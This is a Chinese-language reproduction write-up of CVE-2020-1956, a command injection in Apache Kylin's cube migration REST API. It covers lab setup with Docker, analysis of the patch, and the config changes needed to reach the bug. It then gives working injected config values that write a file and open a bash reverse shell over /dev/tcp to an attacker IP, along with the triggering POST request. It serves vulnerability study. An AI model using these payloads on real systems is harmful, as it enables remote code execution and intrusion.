Apache Kylin是一個開源的、分散式的分析型資料倉庫,提供Hadoop/Spark之上的 SQL 查詢介面及多維分析(OLAP)能力以支援超大規模資料,最初由 eBay 開發並貢獻至開源社群。它能在亞秒內查詢巨大的表。
0x00 漏洞概述
漏洞編號:CVE-2020-1956。
Apache Kylin中存在一些RESTful API,可以將作業系統指令與使用者輸入的字串拼接起來。由於未對使用者輸入內容做充分校驗,攻擊者可以構造任意系統命令執行。
影響版本:
- Kylin 2.3.0-2.3.2
- Kylin 2.4.0-2.4.1
- Kylin 2.5.0-2.5.2
- Kylin 2.6.0-2.6.5
- Kylin 3.0.0-alpha
- Kylin 3.0.0-alpha2
- Kylin 3.0.0-beta
- Kylin 3.0.0-3.0.1
利用條件:
- 維持已登入狀態
- 開啟了相關配置
0x01 映象部署
Kylin的環境非常複雜,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的元件需要安裝配置。好在官方提供了做好的Docker:
docker pull apachekylin/apache-kylin-standalone:3.0.1
層數很多,且每層都不小。
docker run -d -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1
需要等待Kylin完成初始化(1-2分鐘),其它埠(如8088、8032等)的服務都會先於Kylin執行起來。
預設賬戶為admin/KYLIN,進入後可以看到預置的模型。
0x02 漏洞補丁
漏洞補丁:KYLIN-4426 Refine CliCommandExecutor · apache/kylin@9cc3793 (github.com)。
漏洞位於CubeService.java的migrateCube()
函式,其中對待執行命令做格式化的String.format()
未能做到充分過濾,導致RCE。涉及的引數有:srcCfgUri
、dstCfgUri
、projectName
。
Migrate Cube
介面文件顯示需要對路徑傳入兩個引數:cube
和project
。在Kylin頁面的表格中可以看到
選擇第一行的kylin_sales_cube
以及對應的learn_kylin
作為路徑引數來構造請求。
POST /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate HTTP/1.1
Host: 192.168.223.133:7070
Pragma: no-cache
Accept: application/json, text/plain, */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=08D6BE841D58B37D716D40185D465C7A
Connection: close
得到一個500,有大量的報錯資訊可以檢視:
One click migration is disabled
這條提示作為鍵msg
的值返回,可以想見是在程式碼中有硬編碼的。回去看漏洞補丁的程式碼,就能發現這句話:
實際上就位於migrateCube
函式的開頭。這裡使用了config.isAllowAutoMigrateCube()
進行攔截,也就是載入了開頭所說的“相關配置”。
配置項kylin.tool.auto-migrate-cube.enabled
預設為FALSE
(很不幸)。在使用Docker的大前提下,有兩種修改該配置項的方法。永續性的修改需要進入容器,修改其中的conf/kylin.properties檔案,自行新增kylin.tool.auto-migrate-cube.enabled=true
配置項,然後bin/kylin stop
+bin/kylin start
重啟Kylin。此外還可以直接在頁面進行暫時性的修改。
暫時性修改
在平臺的System一欄選擇Set Config。比較高階,不用檢視整個配置檔案,以鍵值方式進行更新。
配置立即生效。但是在程序重啟或選擇了本頁的Reload Config後就會失效。
Source configuration should not be empty
在修改完配置後重新發起一個POST,此時得到的響應就發生了變化:
這對應了專案程式碼中對於非空的檢查:變數srcCfgUri
和dstCfgUri
。在檔案kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java中就能看到
這兩個值同樣來自於配置項,分別對應的是kylin.tool.auto-migrate-cube.src-config
和kylin.tool.auto-migrate-cube.dest-config
。
kylin/core-common/src/main/java/org/apache/kylin/common/KylinConfigBase.java中使用了getOptional
獲得配置。
配置這兩個引數就是使用前面配置kylin.tool.auto-migrate-cube.enabled
同樣的方法。關注一下kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java的1133行開始的命令格式化工作,在打過補丁後,此處會呼叫CliCommandExecutor.checkParameter
來檢查我們能夠控制的變數srcCfgUri
和dstCfgUri
。
於是一目瞭然,這兩個變數直接表示命令注入的關鍵引數。
0x03 利用流程
任意寫檔案
嘗試用變數destCfgUri
承載系統命令。再次去頁面Set Config,先將srcCfgUri
配置為/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie
(注意不是變數自身作為鍵,而是其對應的配置項作為鍵),再將destCfgUri
配置為/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/hacked; echo
,試圖寫入一個名為hacked的檔案。
再發起一個與先前一樣的POST請求,這次會得到200狀態(可能有一點延遲)。
去Docker檢視,發現寫入成功!
反彈Shell
寫檔案成功,寫反彈Shell似乎也就問題不大了。在之前的基礎上,將kylin.tool.auto-migrate-cube.dest-config
配置為/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/192.168.31.197/9527 0>&1; echo
,然後執行同樣的POST。不同於寫檔案任務,監聽在主動斷開前保持工作,所以這次POST將會一直處在等待響應的狀態。
攻擊機很快就拿到了Shell:
Over!